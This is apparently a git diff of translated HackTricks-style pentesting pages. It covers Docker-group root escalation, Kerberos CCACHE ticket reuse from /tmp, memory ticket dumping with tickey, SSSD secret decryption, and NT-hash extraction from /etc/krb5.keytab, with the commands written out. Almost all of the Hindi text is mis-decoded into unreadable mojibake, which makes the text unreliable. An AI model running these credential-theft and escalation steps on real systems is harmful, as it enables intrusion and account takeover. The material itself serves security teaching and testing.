рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдПрдХ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЗ рд╡реЙрд▓реНрдпреВрдо рдореЗрдВ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рдЗрд╕рд▓рд┐рдП рдЬрдм рдЗрдВрд╕реНрдЯреЗрдВрд╕ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рддреБрд░рдВрдд рдЙрд╕ рд╡реЙрд▓реНрдпреВрдо рдореЗрдВ `chroot` рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдЖрдкрдХреЛ рдорд╢реАрди рдкрд░ рд░реВрдЯ рджреЗрддрд╛ рд╣реИред +рдЖрдк **рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рд░реВрдЯ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдПрдХ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЗ рд╡реЙрд▓реНрдпреВрдо рдореЗрдВ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рдЗрд╕рд▓рд┐рдП рдЬрдм рдЗрдВрд╕реНрдЯреЗрдВрд╕ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рддреБрд░рдВрдд рдЙрд╕ рд╡реЙрд▓реНрдпреВрдо рдореЗрдВ `chroot` рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд╕реЗ рдЖрдкрдХреЛ рдорд╢реАрди рдкрд░ рд░реВрдЯ рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИред ```bash docker image #Get images from the docker service @@ -217,7 +217,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html ## Adm рд╕рдореВрд╣ -рдЖрдорддреМрд░ рдкрд░ **`adm`** рд╕рдореВрд╣ рдХреЗ **рд╕рджрд╕реНрдпреЛрдВ** рдХреЗ рдкрд╛рд╕ _/var/log/_ рдореЗрдВ рд╕реНрдерд┐рдд рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдкрдврд╝рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрддреА рд╣реИред\ +рдЖрдорддреМрд░ рдкрд░ **`adm`** рд╕рдореВрд╣ рдХреЗ **рд╕рджрд╕реНрдпреЛрдВ** рдХреЗ рдкрд╛рд╕ _/var/log/_ рдореЗрдВ рд╕реНрдерд┐рдд **рд▓реЙрдЧ** рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдкрдврд╝рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрддреА рд╣реИред\ рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдиреЗ рдЗрд╕ рд╕рдореВрд╣ рдХреЗ рднреАрддрд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ **рд▓реЙрдЧреНрд╕ рдкрд░ рдирдЬрд╝рд░ рдбрд╛рд▓рдиреА рдЪрд╛рд╣рд┐рдП**ред ## Auth рд╕рдореВрд╣ diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 6858838ce..4e3052cd6 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -4,15 +4,15 @@ рдПрдХ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрди рднреА рдПрдХ Active Directory рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЕрдВрджрд░ рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреА рд╣реИред -рдПрдХ AD рдореЗрдВ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрди **рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рд╡рд┐рднрд┐рдиреНрди CCACHE рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░ рд╕рдХрддреА рд╣реИред рдпреЗ рдЯрд┐рдХрдЯ рдХрд┐рд╕реА рдЕрдиреНрдп kerberos рдЯрд┐рдХрдЯ рдХреА рддрд░рд╣ рдЙрдкрдпреЛрдЧ рдФрд░ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЗрди рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЯрд┐рдХрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рд▓рд┐рдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ **root** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдорд╢реАрди рдХреЗ рдЕрдВрджрд░ред +рдПрдХ AD рдореЗрдВ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрди **рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рд╡рд┐рднрд┐рдиреНрди CCACHE рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░ рд╕рдХрддреА рд╣реИред рдпреЗ рдЯрд┐рдХрдЯ рдХрд┐рд╕реА рдЕрдиреНрдп kerberos рдЯрд┐рдХрдЯ рдХреА рддрд░рд╣ рдЙрдкрдпреЛрдЧ рдФрд░ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЗрди рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЯрд┐рдХрдЯ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рд▓рд┐рдХ рдпрд╛ рдорд╢реАрди рдХреЗ рдЕрдВрджрд░ **root** рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред ## Enumeration -### рд▓рд┐рдирдХреНрд╕ рд╕реЗ AD enumeration +### AD enumeration from linux -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд▓рд┐рдирдХреНрд╕ (рдпрд╛ Windows рдореЗрдВ bash) рдкрд░ AD рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк AD рдХреЛ enumer рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд▓рд┐рдирдХреНрд╕ (рдпрд╛ Windows рдореЗрдВ bash) рдореЗрдВ AD рдкрд░ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк AD рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдЖрдк рд▓рд┐рдирдХреНрд╕ рд╕реЗ AD рдХреЛ enumer рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдЕрдиреНрдп рддрд░реАрдХреЛрдВ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рд▓рд┐рдирдХреНрд╕ рд╕реЗ AD рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ **рдЕрдиреНрдп рддрд░реАрдХреЛрдВ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -20,23 +20,23 @@ ### FreeIPA -FreeIPA рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ **рд╡реИрдХрд▓реНрдкрд┐рдХ** рд╣реИ Microsoft Windows **Active Directory** рдХреЗ рд▓рд┐рдП, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Unix** рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдПред рдпрд╣ Active Directory рдХреЗ рд╕рдорд╛рди рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг **LDAP directory** рдХреЛ MIT **Kerberos** Key Distribution Center рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рддрд╛ рд╣реИред CA рдФрд░ RA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП Dogtag **Certificate System** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдпрд╣ **multi-factor** рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕реНрдорд╛рд░реНрдЯрдХрд╛рд░реНрдб рд╢рд╛рдорд┐рд▓ рд╣реИрдВред Unix рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП SSSD рдПрдХреАрдХреГрдд рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ: +FreeIPA рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ **рд╡реИрдХрд▓реНрдкрд┐рдХ** рд╣реИ Microsoft Windows **Active Directory** рдХреЗ рд▓рд┐рдП, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Unix** рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдПред рдпрд╣ Active Directory рдХреЗ рд╕рдорд╛рди рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг **LDAP directory** рдХреЛ MIT **Kerberos** Key Distribution Center рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рддрд╛ рд╣реИред CA рдФрд░ RA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП Dogtag **Certificate System** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдпрд╣ рд╕реНрдорд╛рд░реНрдЯрдХрд╛рд░реНрдб рд╕рд╣рд┐рдд **multi-factor** рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред Unix рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП SSSD рдПрдХреАрдХреГрдд рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ: {{#ref}} ../freeipa-pentesting.md {{#endref}} -## рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд╕рд╛рде рдЦреЗрд▓рдирд╛ +## Playing with tickets ### Pass The Ticket -рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд╛рди рдкрд╛рдПрдВрдЧреЗ рдЬрд╣рд╛рдБ рдЖрдк **рдПрдХ рд▓рд┐рдирдХреНрд╕ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ kerberos рдЯрд┐рдХрдЯ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ**, рдЕрдЧрд▓реЗ рдкреГрд╖реНрда рдкрд░ рдЖрдк рд╕реАрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрди CCache рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреЛ Kirbi (рд╡рд┐рдВрдбреЛрдЬрд╝ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкреНрд░рд╛рд░реВрдк) рдореЗрдВ рдХреИрд╕реЗ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ PTT рд╣рдорд▓реЗ рдХреЛ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдП: +рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд╛рди рдкрд╛рдПрдВрдЧреЗ рдЬрд╣рд╛рдБ рдЖрдк **рдПрдХ рд▓рд┐рдирдХреНрд╕ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ kerberos рдЯрд┐рдХрдЯ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ**, рдЕрдЧрд▓реЗ рдкреГрд╖реНрда рдкрд░ рдЖрдк рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрди CCache рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреЛ Kirbi (рд╡рд┐рдВрдбреЛрдЬрд╝ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкреНрд░рд╛рд░реВрдк) рдореЗрдВ рдХреИрд╕реЗ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ PTT рд╣рдорд▓реЗ рдХреЛ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдП: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md {{#endref}} -### /tmp рд╕реЗ CCACHE рдЯрд┐рдХрдЯ рдкреБрди: рдЙрдкрдпреЛрдЧ +### CCACHE ticket reuse from /tmp CCACHE рдлрд╝рд╛рдЗрд▓реЗрдВ **Kerberos рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдирд░реА рдкреНрд░рд╛рд░реВрдк рд╣реИрдВ рдЬреЛ рдЖрдорддреМрд░ рдкрд░ `/tmp` рдореЗрдВ 600 рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕реНрдЯреЛрд░ рдХреА рдЬрд╛рддреА рд╣реИрдВред рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдЙрдирдХреЗ **рдирд╛рдо рдкреНрд░рд╛рд░реВрдк, `krb5cc_%{uid}`,** рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ UID рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯрд┐рдХрдЯ рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП, **рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ `KRB5CCNAME`** рдХреЛ рдЗрдЪреНрдЫрд┐рдд рдЯрд┐рдХрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкрде рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рдЗрд╕рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХреЗред @@ -49,9 +49,9 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` -### CCACHE рдЯрд┐рдХрдЯ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреАрдЬрд┐рдП рдХреАрд░рд┐рдВрдЧ рд╕реЗ +### CCACHE рдЯрд┐рдХрдЯ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреАрдЬрд┐рдП рдХреА рд░рд┐рдВрдЧ рд╕реЗ -**рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд Kerberos рдЯрд┐рдХрдЯ рдирд┐рдХрд╛рд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ**, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдорд╢реАрди рдХреА ptrace рд╕реБрд░рдХреНрд╖рд╛ рдмрдВрдж рд╣реЛ (`/proc/sys/kernel/yama/ptrace_scope`)ред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧреА рдЙрдкрдХрд░рдг [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рддреНрд░реЛрдВ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдФрд░ `/tmp` рдореЗрдВ рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдбрдВрдк рдХрд░рдХреЗ рдирд┐рдХрд╛рд╕реА рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред +**рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд Kerberos рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдорд╢реАрди рдХреА ptrace рд╕реБрд░рдХреНрд╖рд╛ рдЕрдХреНрд╖рдо рд╣реЛрддреА рд╣реИ (`/proc/sys/kernel/yama/ptrace_scope`)ред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧреА рдЙрдкрдХрд░рдг [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рддреНрд░реЛрдВ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдФрд░ рдЯрд┐рдХрдЯреЛрдВ рдХреЛ `/tmp` рдореЗрдВ рдбрдВрдк рдХрд░рдХреЗ рдирд┐рдХрд╛рд╕реА рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдЙрдкрдХрд░рдг рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash @@ -66,24 +66,24 @@ make CONF=Release SSSD `/var/lib/sss/secrets/secrets.ldb` рдкрде рдкрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдПрдХ рдкреНрд░рддрд┐ рдмрдирд╛рдП рд░рдЦрддрд╛ рд╣реИред рд╕рдВрдмрдВрдзрд┐рдд рдХреБрдВрдЬреА `/var/lib/sss/secrets/.secrets.mkey` рдкрде рдкрд░ рдПрдХ рдЫрд┐рдкреА рд╣реБрдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдХреБрдВрдЬреА рдХреЗрд╡рд▓ рддрдм рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ **root** рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛрдВред -\*\*`SSSDKCMExtractor` \*\* рдХреЛ --database рдФрд░ --key рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдмреБрд▓рд╛рдиреЗ рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ **рдЧреБрдкреНрдд рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +**`SSSDKCMExtractor`** рдХреЛ --database рдФрд░ --key рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдмреБрд▓рд╛рдиреЗ рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ **рдЧреБрдкреНрдд рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` -**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреИрд╢ рдХрд░реНрдмреЗрд░реЛрд╕ рдмреНрд▓реЙрдм рдХреЛ рдПрдХ рдЙрдкрдпреЛрдЧреА рдХрд░реНрдмреЗрд░реЛрд╕ CCACHE** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ Mimikatz/Rubeus рдХреЛ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреИрд╢ рдХрд░реНрдмреЗрд░реЛрд╕ рдмреНрд▓реЙрдм рдХреЛ рдПрдХ рдЙрдкрдпреЛрдЧреА рдХрд░реНрдмреЗрд░реЛрд╕ CCache** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ Mimikatz/Rubeus рдХреЛ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -### CCACHE рдЯрд┐рдХрдЯ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреАрдЬрд┐рдП рдХреАрдЯреИрдм рд╕реЗ +### CCACHE рдЯрд┐рдХрдЯ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреАрдЬрдЯреИрдм рд╕реЗ ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` -### /etc/krb5.keytab рд╕реЗ рдЦрд╛рддреЗ рдирд┐рдХрд╛рд▓реЗрдВ +### Extract accounts from /etc/krb5.keytab -рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреБрдВрдЬреА, рдЬреЛ рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ **`/etc/krb5.keytab`** рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВред рдпреЗ рдХреБрдВрдЬреА, рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рдорд╛рди, рдХрдбрд╝реА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреА рдорд╛рдВрдЧ рдХрд░рддреА рд╣реИрдВред +Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality. -рдХреАрдЯреИрдм рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, **`klist`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдЙрдкрдХрд░рдг рдХреБрдВрдЬреА рд╡рд┐рд╡рд░рдг рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП **NT Hash** рд╢рд╛рдорд┐рд▓ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдХреБрдВрдЬреА рдкреНрд░рдХрд╛рд░ рдХреЛ 23 рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред +To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 46129f023..dc3687de9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -14,40 +14,40 @@ ARMv8 рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдореЗрдВ, рдирд┐рд╖реНрдкрд╛рджрди рд╕ - EL1 рдХреЗ рдкрд╛рд╕ EL0 рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рд┐рд╕реНрдЯрдо рдХреА рдЕрдЦрдВрдбрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рд╕рд╛рдеред 3. **EL2 - 